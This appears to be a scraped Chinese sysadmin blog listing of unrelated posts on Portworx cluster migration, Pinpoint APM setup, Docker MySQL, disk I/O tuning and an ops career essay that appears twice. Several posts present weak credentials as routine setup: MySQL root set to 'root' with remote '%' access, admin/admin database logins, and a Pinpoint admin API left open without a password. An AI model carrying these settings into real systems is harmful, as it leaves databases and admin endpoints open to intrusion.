应用完成后,使用已经设置的storkctl检查集群配对的状态。
$ storkctlget clusterpair

kubectl和pxctl也可以对集群配对进行查看。
$ kubectldescribe clusterpair new-cluster | grep paired
Normal Ready 2m stork Storage successfully paired
Normal Ready 2m stork Scheduler successfullypaired
$ pxctlcluster pair list
CLUSTER-ID NAME ENDPOINT CREDENTIAL-ID
c604c669 px-cluster-2 http://35.185.59.99:9001 a821b2e2-788f

开始迁移

下一步,有两种方式开始迁移动作:通过storkctl生成迁移 CLI,或参考对迁移进行描述的spec文件。我们使用第二种方法,请见如下,对演示资源和卷进行迁移。
apiVersion:stork.libopenstorage.org/v1alpha1
kind: Migration
metadata:
name: demo-ns-migration
spec:
clusterPair: new-cluster
includeResources: true
startApplications: true
namespaces:
– demo

依照上述spec文档使用kubectl创建迁移。
kubectlcreate -f migration.yaml

检查迁移状态。成功的迁移分为如下步骤: 卷→应用程序→完成
$ storkctlget migration
NAME CLUSTERPAIR STAGE STATUS VOLUMES RESOURCES CREATED
demo-ns-migration new-cluster Volumes InProgress 2/12 0/37 08 Nov 18 15:14 EST

$ storkctlget migration
NAME CLUSTERPAIR STAGE STATUS VOLUMES RESOURCES CREATED
demo-ns-migration new-cluster Application InProgress 12/12 30/37 08 Nov18 15:25 EST

$ storkctlget migration
NAME CLUSTERPAIR STAGE STATUS VOLUMES RESOURCES CREATED
demo-ns-migration new-cluster Final Successful 12/12 37/37 08 Nov 18 15:27 EST

为了解哪些资源,如卷、PVC、状态集、复制集处于“进行中”或“已完成”状态,可以使用“ kubectldescribe ”命令。
$ kubectldescribe migration demo-ns-migration

迁移的状态也可以使用来源Portworx集群的pxctl进行查看。
$ pxctl –cloudmigrate status

CLUSTERUUID: c604c669-c935-4ca4-a0bc-550b236b2d7b

TASK-ID VOLUME-ID VOLUME-NAME STAGE STATUS
6cb407e0-e38e-demo-cassandra-data-1-cassandra-1-0 673298860130267347 pvc-2c2604f4-e381-11e8-a985-42010a8e0017 Done Complete
6cb407e0-e38e-demo-cassandra-data-1-cassandra-1-1 782119893844254444 pvc-7ef22f64-e382-11e8-a985-42010a8e0017 Done Complete
6cb407e0-e38e-demo-cassandra-data-1-cassandra-1-2 486611245472798631 pvc-b8af3c05-e382-11e8-a985-42010a8e0017 Done Complete


这样根据集群迁移资源的状态显示,迁移完成了,如下图示展示的就是进行的过程。来自集群1的命名空间、应用、配置以及数据等都迁移到集群2。
随后,查看目标集群以确保应用确实已经完成迁移并且能够良好运行,因为我们使用的是“ startApplications: true ”属性。
$ kubectl config use-context
$ kubectl get po -n demo
NAME READY STATUS RESTARTS AGE
cassandra-1-0 1/1 Running 0 7m
cassandra-1-1 1/1 Running 0 5m
cassandra-1-2 1/1 Running 0 4m
cassandra-2-0 1/1 Running 0 7m
cassandra-2-1 1/1 Running 0 5m
cassandra-2-2 1/1 Running 0 4m
mysql-1-7f58cf8c7c-gs8p4 1/1 Running 0 7m
mysql-2-8498757465-4gkr2 1/1 Running 0 7m
postgres-2-68c5d6b845-cs9zb 1/1 Running 0 7m
postgres-77bf94ccb5-njhx4 1/1 Running 0 7m
wordpress-mysql-2-5fdffbdbb4-ppgsl 1/1 Running 0 7m

完美! 所有的程序都在运行中! 现在我们返回PX-CentralGrafana仪表板就可以看到集群上使用的内存和CPU都变少了。该截屏显示的是工作负载迁移后的工作节点的CPU和内存使用情况。


这正是我们希望达到的效果。如下是GKE仪表板上显示的集群1和集群2之间可用CPU和内存的量,因此上述结果是有效的。

现在我们拥有了额外的计算力,我们就可以创建额外的MySQL数据库了。这个数据库将在新集群上拥有足够的资源进行运行。
$ kubectlcreate -f specs-common/mysql-3.yaml
storageclass.storage.k8s.io”mysql-tester-class-3″ created
persistentvolumeclaim”mysql-data-3″ created
deployment.extensions”mysql-3″ created

$ kubectlget po -n demo
NAME READY STATUS RESTARTS AGE
cassandra-1-0 1/1 Running 0 22m
cassandra-1-1 1/1 Running 0 20m
cassandra-1-2 1/1 Running 0 18m
cassandra-2-0 1/1 Running 0 22m
cassandra-2-1 1/1 Running 0 20m
cassandra-2-2 1/1 Running 0 18m
mysql-1-7f58cf8c7c-gs8p4 1/1 Running 0 22
mysql-2-8498757465-4gkr2 1/1 Running 0 22m
mysql-3-859c5dc68f-6mcc5 1/1 Running 0 12s
postgres-2-68c5d6b845-cs9zb 1/1 Running 0 22m
postgres-77bf94ccb5-njhx4 1/1 Running 0 22m
wordpress-mysql-2-5fdffbdbb4-ppgsl 1/1 Running 0 22m


成功!
集群扩增的益处是显而易见的。用户和操作员可以将旧的命名空间或应用从来源集群上删除,也可以直接将整个集群删除掉,从而回收这些资源。新的集群使用的是自动配置PD而非本地SSD,因此其存储与计算能力都能够依照IT团队的需求进行扩展。
结论
PX-Motion具有着将Portworx卷和Kubernetes资源在集群之间进行迁移的能力。上述案例就利用了PX-Motion这一功能,使得团队能够对Kubernetes环境实现无缝扩增。在Kubernetes上的环境之间对命名空间、卷或整个应用程序进行迁移就变得轻而易举了。扩增并不是PX-Motion唯一的功能,请查看我们其他的PX-Motion系列文章了解更多信息。
系统运维
2019-11-14 16:21:00
「深度学习福利」大神带你进阶工程师,立即查看>>>
【关注公众号“SRE运维部落”,回复 pinpoint 分享代码库地址给你】

一.简介
Pinpoint是一款全链路分析工具,提供了无侵入式的调用链监控、方法执行详情查看、应用状态信息监控等功能。基于GoogleDapper论文进行的实现,与另一款开源的全链路分析工具Zipkin类似,但相比Zipkin提供了无侵入式、代码维度的监控等更多的特性
二.主要功能
服务拓扑图: 对整个系统中应用的调用关系进行了可视化的展示,单击某个服务节点,可以显示该节点的详细信息,比如当前节点状态、请求数量等
实时活跃线程图: 监控应用内活跃线程的执行情况,对应用的线程执行性能可以有比较直观的了解
请求响应散点图: 以时间维度进行请求计数和响应时间的展示,拖过拖动图表可以选择对应的请求查看执行的详细情况
请求调用栈查看: 对分布式环境中每个请求提供了代码维度的可见性,可以在页面中查看请求针对到代码维度的执行详情,帮助查找请求的瓶颈和故障原因。
应用状态、机器状态检查: 通过这个功能可以查看相关应用程序的其他的一些详细信息,比如CPU使用情况,内存状态、垃圾收集状态,TPS和JVM信息等参数。
三.架构组成
Pinpoint 主要由 3 个组件外加 Hbase 数据库组成,三个组件分别为:Agent、Collector 和Web UI。 HBase ( 用于存储) Agent 组件:用于收集应用端监控数据,无侵入式,只需要在启动命令中加入部分参数即可 Collector 组件:数据收集模块,接收Agent发送过来的监控数据,并存储到HBase WebUI :监控展示模块,展示系统调用关系、调用详情、应用状态等,并支持报警等功能
四.部署安装
(一)常用安装方式
1. 在网上百度下载别人打好的war包进行部署使用,可调试监控,但是不可进行二次开发配置监控预警。
2. 拉去官方代码 git clone https: //github.com/naver/pinpoint-docker.git git clone https: //gitee.com/mirrors/Pinpoint.git
安装步骤:
1.HBase
搭建 HBase 集群 - Apache HBase
运行./hbase-start
创建 HBase Schemas- 在hbase shell上执行/scripts/hbase-create.hbase初始化数据库
2. 构建Pinpoint (仅当从源代码开始构建时需要)
Clone Pinpoint - git clone $PINPOINT_GIT_REPOSITORY
设置 JAVA_6_HOME 环境变量到 JDK 6 home 目录.
设置 JAVA_7_HOME 环境变量到 JDK 7+ home 目录.
设置 JAVA_8_HOME 环境变量到 JDK 8 home 目录.
设置 JAVA_9_HOME 环境变量到 JDK 9 home 目录.
设置 JAVA_HOME 环境变量到 JDK home 目录.
注意:不是开玩笑,必须同时安装四个版本jdk,而且要设置5个javahome环境变量,而且必须是jdk不能是openjdk!!!!!!!!!!!!!!!!!!!!!!
(10.7.xxx.xx服务器已安装该环境,如需打包pinpoint可自行使用)
在pinpoint根目录运行 mvn install -Dmaven.test.skip=true
3. Pinpoint Collector
部署 pinpoint-collector-$VERSION.war 到web容器
配置 pinpoint-collector.properties, hbase.properties.
启动容器
4. Pinpoint Web
部署 pinpoint-web-$VERSION.war 到web容器
配置 pinpoint-web.properties, hbase.properties.
启动容器
5.Pinpoint Agent
解压/移动 pinpoint-agent/ 到一个方便的位置 ($AGENT_PATH).
设置 -javaagent:$AGENT_PATH/pinpoint-bootstrap-$VERSION.jar JVM 参数以便将agent附加到java应用
设置 -Dpinpoint.agentId 和-Dpinpoint.applicationName 命令行参数
用上面的设置启动 java 应用
(二)安装参考文档
1. https://skyao.gitbooks.io/learning-pinpoint/content/installation/guide.html
2.https://naver.github.io/pinpoint/quickstart.html
四.使用规范
(一)服务地址
1.[http://10.7.xxx.xx:8085] 无相关账号密码,后期可对应进行二次开发
(二)使用操作
仪表板:可针对应用节点的服务,端点,实例进行细度监控图标展示可针对数据库数据源的相关sql以及iqps等常用参数进行监控展示
拓扑图:各种图表应用实例全局展示,各种高大上
链路追踪:监控细度在接口级别
告警:可进行20多种监控数据的告警,可针对项目进行二次开发配置钉钉邮件
五.相关注意事项
1.traceid添加
可参考官方文档,描述很详细,无代码侵入,支持log4j,log4j2,logback https://github.com/naver/pinpoint/blob/master/doc/per-request_feature_guide.md
traceid 加入项目日志可进行日志查询时链路追踪,方便定位故障。
例如:使用logback
修改配置pinpoint-agent/pinpoint.config
profiler.logback.logging.transactioninfo=true
修改项目配置logback.xml %d{HH:mm} %- 5 level %logger {36} - [TxId : %X {PtxId} , SpanId : %X {PspanId} ] %msg%n< /pattern> < /appender>

2.消息通知配置
配置相关消息通知,目前已配置钉钉和邮件。
相关配置:
1. 配置菜单页面
配置菜单
注册用户
创建用户组
添加用户到用户组
设置告警规则
2. 熟悉相应告警规则和参数:
SLOW COUNT / 慢请求数 当应用发出的慢请求数量超过配置阈值时触发。 ​ SLOW RATE / 慢请求比例 当应用发出的慢请求百分比超过配置阈值时触发。 ​ ERROR COUNT / 请求失败数 当应用发出的失败请求数量超过配置阈值时触发。 ​ ERROR RATE / 请求失败率 当应用发出的失败请求百分比超过配置阈值时触发。 ​ TOTAL COUNT / 总数量 当应用发出的所有请求数量超过配置阈值时触发。 以上规则中,请求是当前应用发送出去的,当前应用是请求的发起者。 以下规则中,请求是发送给当前应用的,当前应用是请求的接收者。 SLOW COUNT TO CALLEE / 被调用的慢请求数量 当发送给应用的慢请求数量超过配置阈值时触发。 ​ SLOW RATE TO CALLEE / 被调用的慢请求比例 当发送给应用的慢请求百分比超过配置阈值时触发。 ​ ERROR COUNT TO CALLEE / 被调用的请求错误数 当发送给应用的请求失败数量超过配置阈值时触发。 ​ ERROR RATE TO CALLEE / 被调用的请求错误率 当发送给应用的请求失败百分比超过配置阈值时触发。 ​ TOTAL COUNT TO CALLEE / 被调用的总数量 当发送给应用的所有请求数量超过配置阈值时触发。 ​ 下面两条规则和请求无关,只涉及到应用的状态 HEAP USAGE RATE / 堆内存使用率 当应用的堆内存使用率超过配置阈值时触发。 ​ JVM CPU USAGE RATE / JVM CPU使用率 当应用的CPU使用率超过配置阈值时触发。

3.钉钉告警的实现和配置:
(一)代码二次开发实现
可参考代码库
git clone https://gitee.com/xxx/xxxx.git(已进行二次开发存入私服)
【关注公众号“SRE运维部落”,回复 pinpoint 分享代码库地址给你】
主要是针对邮件发送实现类的修改,为方便快速实现钉钉告警,在邮件告警上添加了钉钉消息的触发方法
修改文件/pinpoint-master/pinpoint-master_最初邮件可用版/web/src/main/java/com/navercorp/pinpoint/web/alarm/SpringSmtpMailSender.java
其余也有针对消息内容进行开发优化,可参考代码变更即可。
产生的钉钉消息推送结果如下:
邮件消息推送如下:
(二)配置批处理属性 设置batch.properties文件中的batch.enable 标记为 true : batch.enable= true

这里的 batch.server.ip 配置用于当有多台pinpointweb server时防止并发批处理程序. 仅当服务器IP地址和 batch.server.ip 设置的一致时才执行批处理。(设置为 127.0.0.1 将在所有的web服务器上启动批处理) batch.server.ip=X.X.X.X
注:这种防止并发的方式有点简陋而原始,存在单点故障的风险,主要缺陷:万一配置的这台容许批处理的web服务器down机,告警功能就失效了。
(三)配置mysql
搭建mysql服务器并在jdbc.properties文件中配置连接信息: jdbc.driverClassName=com.mysql.jdbc.Driverjdbc.url=jdbc:mysql: //localhost:13306/pinpoint?characterEncoding=UTF-8jdbc.username=admin jdbc.password=admin
运行
pinpoint/web/src/main/resources/sql/CreateTableStatement-mysql.sql 和 pinpoint/web/src/main/resources/sql/SpringBatchJobReositorySchema-mysql.sql 来创建初始化表.
3.pinpoint删除应用程序名称和/或代理ID
一旦注册了应用程序名称和代理ID,它们就会保留在HBase中,直到它们的TTL过期(默认为1年)。但是,一旦不再使用它们,您可以使用管理API主动删除它们。 删除应用名称- http://10.7.132.xx:8080/admin/removeApplicationName.pinpoint?applicationName=$APPLICATION_NAME&password=$PASSWORD 删除代理程序ID- http://10.7.132.xx:8080/admin/removeAgentId.pinpoint?applicationName=$APPLICATION_NAME&agentId=$AGENT_ID&password=$PASSWORD 请注意,password参数的值是您admin.password在pinpoint-web.properties中定义的属性。保留此空白将使您无需密码参数即可调用管理API。 默认密码admin
微信关注我【SRE运维部落】,下期分享如何将告警钉钉邮件分发到不同开发团队,划清责任界限。
Prometheus+Granafa构建高大上的MySQL监控平台
灰度部署or蓝绿部署?
高效开发:IntelliJIDEA的这些Debug技巧你都知道吗
声援Pandownload的同时,一定要懂法!
syncd一款高效开源的代码部署工具
高效开发:IntelliJIDEA的这些Debug技巧你都知道吗
运维必备:goreplay流量复制工具
一款SQL高效审计工具 | 解放DBA双手
实用技能:git子模块功能
系统运维
2019-11-14 16:20:00
「深度学习福利」大神带你进阶工程师,立即查看>>>
10 特殊符号 cut命令
11 sort_wc_ uniq命令
12 tee_tr_split命令
13 shell特殊符号
系统运维
2019-11-14 13:31:00
「深度学习福利」大神带你进阶工程师,立即查看>>>
如何做好一个合格的运工程师, 运维工程师前景怎么样呢?就这些问题,与大家交流一下。首先对于 运维工程师 的要求是十分严苛的了,运维 工程师不但 要针对不同的问题做出响应,而且需要不断的补充自己的知识面,并不继提高自己的。与时俱进,不断学习新的技术。
在 运维工程师 初级阶段,合格优秀运维人员 要 休现出积极的主动性 与 责任心,在面对陌生的业务时,要主动快速的学习业务对认识,并拓展相应的知识范畴,以便能够足够胜任并 做 支独立维护。在这个阶段基础知识要十分炸实,并不断充实自己的。形成自己的知识体系。
在 运维 逐步的发展阶段中, 运维工程师 要注重总结反省, 并 逐渐成长为高阶运维 工程 师,高级运维工程师,他们都会有自己比较体系化的运维理解。这也是也有一部分运维工程师,由于出色的项目管理方方面面的能力,逐渐成长为项目经理的原因。
随着再进一步的发展,高阶的运维工作 工程师 ,对于产品的方方面面理解将会十分的透彻,因此在这种情况下,高阶运维 工程 师,甚至可以成为优秀的产品的产品经理 , 并在产品功能的设计、开发中起到 十分 重要的角色。
合格的运维工程师,要负责维护并确保整个服务系统的高可用性,同时要不断优化系统架构,并不断提升部署效率、优化资源利用率、进面提高整体系统的 ROI 。 说起来很容易,这需要很多的知识积累。 随着技术的日新月异, 运维工程师面临的最大挑战,越来越多。大规模集群的管理问题就是其中最棘手之一 。 如何能够管理好几万台,甚至几十万台以上服务器的服务,同时还要保障服务的高可用性,是目前运维 人 员面临的最大挑战之一。
运维工程师的工作,在大型互联网公司变的越来越重要。互联网规模越来越大、服务的架构越来越复杂多样, 对 运维工程师的需求也是会越来越急迫,对人正在从事或者即将从事运维行业的人们来说,是一个很好的消息。特别是对有经验的运维工程师需求会很大,而且是 随 着经验的积累,越来越值钱。 一个优秀的运维工程师,有 强烈的责任心 和 主动性,对自己的所负责工作有 owner 意识,并且能自我驱动不断学习与成长。 而且 能够承担较大工作压力,有独立较强的分析解决问题的能力。 在 工作当中胆大心细,并且还要具备探索创新的精神。目前所有岗位要求,都要会精通shell/Python/Perl等 至 少其中 1种语言。还得要掌握常用的各种数据库,并能灵的运用。还有最基本的络基础知识,也是不可少的。 对类 Linux操作系统,必须深入理解。你知道 的,目前大多数服务器都是基于linux操作系统。 这里可推荐给大家一本基本的教材 《linux就该这么学》。 很适合新手入门linux系统。
对于运 维工程师, 风险识别能力是当前的重中之重。 风险识别是指在风险事故发生之前,或者在操作一些动作时,做为 运 维工程师, 要 运用各种方法系统的、连续的认识所面临的各种风险 , 并分析风险事故发生的潜在原因。及时拟定风险处理方案,进行风险管理 决策 服务。规避风险或者把风险降到最低。 做事情前,脑子先预想一遍。各种情况,最坏的结果想出来。分析评估。风险应对的措施,是否可把握。把控不了,不要操作。
现在devops已经进入越来越多的企业。什么是devops呢?devops 不是自动化运维
DevOps(英文Development和Operations的组合)是一组过程、方法与系统的统称,用于促进开发(应用程序/软件工程)、技术运营和质量保障(QA)部门之间的沟通、协作与整合,并通过高度自动化工具与流程,使得软件构建、测试、发布更加快捷、频繁和可靠。这对运维工程师提出最高的要求。在软件开发的过程中,频繁将代码持续集成到主干上,并自动测试。(重点自动化测试) 。 在持续集成的基础上,将集成后的代码部署到测试环境(真实运行环境,灰度环境),连库环境更多测试,ok, 手动部署到生产。在持续交付的基础上,把部署到生产环境的过程自动化。区别就是最终部署到生产环境是自动化的。这对运维工程师提出更高的要求。
即将从事运维工作或者正在从事运维工作的童鞋们。一起共勉。
系统运维
2019-11-14 10:44:00
「深度学习福利」大神带你进阶工程师,立即查看>>>
Windows Server 2012 R2 安装 SQL server 2008 r2(兼容性问题已处理) 正常情况SQL server 2008 r2默认是sp1的,但是Windows Server 2012 R2最低要求sp2因此会提示有兼容性问题,本教程就是教你如何处理兼容性问题,从而在Windows Server 2012 R2上成功安装SQL server 2008 r2
前提:默认已经安装好了Windows Server 2012 R2系统
软件准备: SQLSERVER2008_R2企业版64位(软件名字不是这个,这里只是为了演示) SQL Server2008 R2 Service Pack 2(软件名字不是这个,这里只是为了演示) 这两个软件在文章的末尾会提供下载地址
安装步骤: 注意下面的文件路径关系 安装SQLSERVER2008_R2企业版64位,选择安装路径:C:
系统运维
2019-11-14 10:11:05
「深度学习福利」大神带你进阶工程师,立即查看>>>
今天接着上一篇的内容继续来学习安装运行mysql。建议先阅读第一篇: windows安装docker
一 查看mysql版本
如果想知道mysql镜像具体有哪几个版本,需要去docker hub查看。
地址如下: https://hub.docker.com/r/library/
二 拉取mysql镜像
命令如下: docker pull 镜像名称:版本号
打开命令窗口输入 docker pull mysql:8.0
等待几分钟就完成了,然后输入以下命令查看镜像 docker images
三 启动mysql服务
命令如下: docker run --name mysql8.0 -e MYSQL_ROOT_PASSWORD=123456 -d -p 23306:3306 mysql:8.0
解释一下上面的命令的具体含义 docker run // 启动容器 --name mysql8.0 // 指定容器名称为mysql8.0 -e MYSQL_ROOT_PASSWORD=123456 // 配置环境变量,指定root用户的密码为123456 -d // 是否后台启动,默认false -p 23306:3306 // 将3306端口映射出来为23306进行访问 mysql:8.0 // 镜像名称
四 允许客户端进行登录
第三步完成后一个docker容器就算起来了,我们用客户端连接数据库发现报错了。
主要原因是mysql服务器要求的认证插件版本与客户端不一致造成的。
使用命令 **docker exec -it mysql8.0 /bin/bash **进入容器,然后登录mysql服务,命令如下: mysql -uroot -p 123456 ,登录成功后, use mysql ,使用sql select user,plugin from user 查看认证插件。
可以看到root用户使用的plugin是caching_sha2_password,mysql官方网站有如下说明:
意思是说caching_sha2_password是8.0默认的认证插件,必须使用支持此插件的客户端版本。两种方式一种是升级客户端,另一种是修改插件认证为 mysql_native_password ,我们看一下第二种。 // 第一:修改root的密码为'root',摒弃原来的旧密码。第二:使用mysql_native_password对新密码进行编码。 ALTER USER 'root'@'localhost' IDENTIFIED WITH mysql_native_password BY 'root'; ALTER USER 'root'@'%' IDENTIFIED WITH mysql_native_password BY 'root'; // 刷新权限 FLUSH PRIVILEGES;
这样就完成了,客户端可以正常登录。
五 docker常用命令 1.docker images // 查看镜像 2.docker run 镜像名称 // 生成一个正在运行的容器实例 3.docker stop 容器名称 // 停止容器 4.docker rm 容器名称 // 删除容器 5.docker start 容器名称 // 启动容器 6.docker restart 容器名称 //重启容器 7.docker rmi 镜像名称 // 删除镜像 8.docker exec -it 容器名称 /bin/bash // 进入容器 9.docker ps // 显示正在运行的所有容器 10.docker ps -a // 显示所有容器(包括已经停止的) 11.docker pull 镜像名称:版本号 // 拉取镜像 如果文章对您有帮助,请记得点赞关注哟~ 欢迎大家关注我的公众号<情系IT>,每日推送技术文章供大家学习参考。
系统运维
2019-11-14 08:42:00
「深度学习福利」大神带你进阶工程师,立即查看>>>
如何做好一个合格的运工程师, 运维工程师前景怎么样呢?就这些问题,与大家交流一下。首先对于 运维工程师 的要求是十分严苛的了,运维 工程师不但 要针对不同的问题做出响应,而且需要不断的补充自己的知识面,并不继提高自己的。与时俱进,不断学习新的技术。
在 运维工程师 初级阶段,合格优秀运维人员 要 休现出积极的主动性 与 责任心,在面对陌生的业务时,要主动快速的学习业务对认识,并拓展相应的知识范畴,以便能够足够胜任并 做 支独立维护。在这个阶段基础知识 要 十分炸实,并不断充实自己的。形成自己的知识体系。
在 运维 逐步的发展阶段中, 运维工程师 要注重总结反省, 并 逐渐成长为高阶运维 工程 师,高级运维工程师,他们都会有自己比较体系化的运维理解。这也是也有一部分运维工程师,由于出色的项目管理方方面面的能力,逐渐成长为项目经理的原因。
随着再进一步的发展,高阶的运维工作 工程师 ,对于产品的方方面面理解将会十分的透彻,因此在这种情况下,高阶运维 工程 师,甚至可以成为优秀的产品的产品经理 , 并在产品功能的设计、开发中起到 十分 重要的角色。
合格的运维工程师,要负责维护并确保整个服务系统的高可用性,同时要不断优化系统架构,并不断提升部署效率、优化资源利用率、进面提高整体系统的 ROI 。 说起来很容易,这需要很多的知识积累。 随着技术的日新月异, 运维工程师面临的最大挑战,越来越多。大规模集群的管理问题就是其中最棘手之一 。 如何能够管理好几万台,甚至几十万台以上服务器的服务,同时还要保障服务的高可用性,是目前运维 人 员面临的最大挑战之一。
运维工程师的工作,在大型互联网公司变的越来越重要。互联网规模越来越大、服务的架构越来越复杂多样, 对 运维工程师的需求也是会越来越急迫,对人正在从事或者即将从事运维行业的人们来说,是一个很好的消息。特别是对有经验的运维工程师需求会很大,而且是 随 着经验的积累,越来越值钱。 一个优秀的运维工程师,有 强烈的责任心 和 主动性,对自己的所负责工作有 owner 意识,并且能自我驱动不断学习与成长。 而且 能够承担较大工作压力,有独立较强的分析解决问题的能力。 在 工作当中胆大心细,并且还要具备探索创新的精神。目前所有岗位要求,都要会精通shell/Python/Perl等 至 少其中 1种语言。还得要掌握常用的各种数据库,并能灵的运用。还有最基本的络基础知识,也是不可少的。 对类 Linux操作系统,必须深入理解。你知道 的,目前大多数服务器都是基于linux操作系统。 这里可推荐给大家一本基本的教材 《linux就该这么学》。 很适合新手入门linux系统。
对于运 维工程师, 风险识别能力是当前的重中之重。 风险识别是指在风险事故发生之前,或者在操作一些动作时,做为 运 维工程师, 要 运用各种方法系统的、连续的认识所面临的各种风险 , 并分析风险事故发生的潜在原因。及时拟定风险处理方案,进行风险管理 决策 服务。规避风险或者把风险降到最低。 做事情前,脑子先预想一遍。各种情况,最坏的结果想出来。分析评估。风险应对的措施,是否可把握。把控不了,不要操作。
现在devops已经进入越来越多的企业。什么是devops呢?devops 不是自动化运维
DevOps(英文Development和Operations的组合)是一组过程、方法与系统的统称,用于促进开发(应用程序/软件工程)、技术运营和质量保障(QA)部门之间的沟通、协作与整合,并通过高度自动化工具与流程,使得软件构建、测试、发布更加快捷、频繁和可靠。这对运维工程师提出最高的要求。在软件开发的过程中,频繁将代码持续集成到主干上,并自动测试。(重点自动化测试) 。 在持续集成的基础上,将集成后的代码部署到测试环境(真实运行环境,灰度环境),连库环境更多测试,ok, 手动部署到生产。在持续交付的基础上,把部署到生产环境的过程自动化。区别就是最终部署到生产环境是自动化的。这对运维工程师提出更高的要求。
即将从事运维工作或者正在从事运维工作的童鞋们。一起共勉。
系统运维
2019-11-14 08:41:00
「深度学习福利」大神带你进阶工程师,立即查看>>>
导读
Python 是一个高层次的结合了解释性、编译性、互动性和面向对象的 脚本 语言。
Python 的设计具有很强的可读性,相比其他语言经常使用英文关键字,其他语言的一些标点符号,它具有比其他语言更有特色语法结构。
使用threading写的一个定时器任务demo: import time import sys import signal import datetime import threading
#定时器 def schedule_update(): t = threading.Timer(0, event_func) t.setDaemon(True) t.start()
#执行函数 def event_func(): now_time = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S') print(now_time) exec_update() #update_openvas_dbs_from_cache() interval_time = delay_time() t = threading.Timer(interval_time, event_func) t.setDaemon(True) t.start()
#取时间点 def delay_time(): # now time now_time = datetime.datetime.now() # tomorrow time next_time = now_time + datetime.timedelta(days=+1) next_year = next_time.date().year next_month = next_time.date().month next_day = next_time.date().day # get tomorrow 00:00 next_time = datetime.datetime.strptime(str(next_year)+"-"+str(next_month)+"-"+str(next_day)+" 00:00:00", "%Y-%m-%d %H:%M:%S") # get secondes delay_time = (next_time - now_time).total_seconds() return delay_time def quit_sys(signum, frame): sys.exit()
#接收C if __name__ == "__main__": try: signal.signal(signal.SIGINT, quit_sys) signal.signal(signal.SIGTERM, quit_sys) schedule_update() print("schedule_update server starting up...\nHit Ctrl-C to quit.\n") while 1: time.sleep(1) except Exception as e: print(e) 原文来自: https://www.linuxprobe.com/python3-time-job.html
系统运维
2019-11-14 08:39:00
「深度学习福利」大神带你进阶工程师,立即查看>>>
在使用这个dopcker时注意了, 在使用多个域名对应一个服务器时, 多个域名之间用逗号连接,!!!注意不能有空格!!!
不然会一直申请失败, 血的教训!!!
系统运维
2019-11-13 23:24:00
「深度学习福利」大神带你进阶工程师,立即查看>>>
磁盘优化思路
 
性能定位套路
和之前类似,我们不可能出现性能问题就把所有工具都跑一遍,而是先运行那几个支持指标较多的工具,如 top,iostat,vmstat等来缩小范围 先用top, iostat 发现磁盘 I/O 性能瓶颈; 再借助 iotop, pidstat 等定位出导致瓶颈的进程; 随后用strace, lsof等分析进程的 I/O 行为; 最后,结合应用程序的原理,分析这些 I/O 的来源。
性能优化思路
由于影响磁盘I/O性能的因素众多,我们对磁盘I/O优化分应用程序,文件系统,磁盘三方面来说
1.应用程序优化
应用程序处于整个 I/O 栈的最上端,它可以通过系统调用,来调整 I/O 模式(如顺序还是随机、同步还是异步), 同时,它也是 I/O 数据的最终来源。
在我看来,可以有这么几种方式来优化应用程序的 I/O 性能:
1).可以用追加写代替随机写,减少寻址开销,加快 I/O 写的速度。
2).可以借助缓存 I/O ,充分利用系统缓存,降低实际 I/O 的次数。
3).可以在应用程序内部构建自己的缓存,或者用 Redis 这类外部缓存系统。这样,一方面,能在应用程序内部,控制缓存的数据和生命周期;另一方面,也能降低其他应用程序使用缓存对自身的影响。
4).在需要频繁读写同一块磁盘空间时,可以用 mmap 代替 read/write,减少内存的拷贝次数。
5).在需要同步写的场景中,尽量将写请求合并,而不是让每个请求都同步写入磁盘,即可以用 fsync() 取代 O_SYNC。
6).在多个应用程序共享相同磁盘时,为了保证 I/O 不被某个应用完全占用,推荐你使用 cgroups 的 I/O 子系统,来限制进程 / 进程组的 IOPS 以及吞吐量。
7).在使用 CFQ 调度器时,可以用 ionice 来调整进程的 I/O 调度优先级,特别是提高核心应用的 I/O 优先级。ionice 支持三个优先级类:Idle、Best-effort 和 Realtime。其中, Best-effort 和 Realtime 还分别支持 0-7 的级别,数值越小,则表示优先级别越高。
2.文件系统优化
应用程序访问普通文件时,实际是由文件系统间接负责,文件在磁盘中的读写。所以,跟文件系统中相关的也有很多优化 I/O 性能的方式:
1).你可以根据实际负载场景的不同,选择最适合的文件系统。比如xfs比ext4支持更大的磁盘分区和更大的文件数量,xfs 支持大于 16TB 的磁盘。但是 xfs 文件系统的缺点在于无法收缩,而 ext4 则可以。
2).在选好文件系统后,还可以进一步优化文件系统的配置选项,包括文件系统的特性(如 ext_attr、dir_index)、日志模式(如 journal、ordered、writeback)、挂载选项(如 noatime)等等。
3).可以优化文件系统的缓存。如可以优化 pdflush 脏页的刷新频率(比如设置 dirty_expire_centisecs 和 dirty_writeback_centisecs)以及脏页的限额(比如调整 dirty_background_ratio 和 dirty_ratio 等)。
4).还可以优化内核回收目录项缓存和索引节点缓存的倾向,即调整 vfs_cache_pressure(/proc/sys/vm/vfs_cache_pressure,默认值 100),数值越大,就表示越容易回收。
5).在不需要持久化时,你还可以用内存文件系统 tmpfs,以获得更好的 I/O 性能 。tmpfs 把数据直接保存在内存中,而不是磁盘中。比如 /dev/shm/ ,就是大多数 Linux 默认配置的一个内存文件系统,它的大小默认为总内存的一半。
3.磁盘优化
数据的持久化存储,最终还是要落到具体的物理磁盘中,同时,磁盘也是整个 I/O 栈的最底层。从磁盘角度出发,自然也有很多有效的性能优化方法。
1).最简单有效的优化方法,就是换用性能更好的磁盘,比如用 SSD 替代 HDD。
2).使用 RAID ,把多块磁盘组合成一个逻辑磁盘,构成冗余独立磁盘阵列。这样做既可以提高数据的可靠性,又可以提升数据的访问性能。
3).针对磁盘和应用程序 I/O 模式的特征,我们可以选择最适合的 I/O 调度算法。比方说,SSD 和虚拟机中的磁盘,通常用的是 noop 调度算法。而数据库应用,则更推荐使用 deadline 算法。
4).我们可以对应用程序的数据,进行磁盘级别的隔离。比如,我们可以为日志、数据库等 I/O 压力比较重的应用,配置单独的磁盘。
5).在顺序读比较多的场景中,我们可以增大磁盘的预读数据,如可以通过调整内核选项 /sys/block/sdb/queue/read_ahead_kb来调整 /dev/sdb 的预读大小。
6).可以优化内核块设备 I/O 的选项。比如,可以调整磁盘队列的长度 /sys/block/sdb/queue/nr_requests,适当增大队列长度,可以提升磁盘的吞吐量(当然也会导致 I/O 延迟增大)。
7).要注意,磁盘本身出现硬件错误,也会导致 I/O 性能急剧下降,所以发现磁盘性能急剧下降时,你还需要确认,磁盘本身是不是出现了硬件错误。比如,你可以查看 dmesg 中是否有硬件 I/O 故障的日志。 还可以使用 badblocks、smartctl 等工具,检测磁盘的硬件问题,或用 e2fsck 等来检测文件系统的错误。如果发现问题,你可以使用 fsck 等工具来修复。
系统运维
2019-11-13 22:46:00
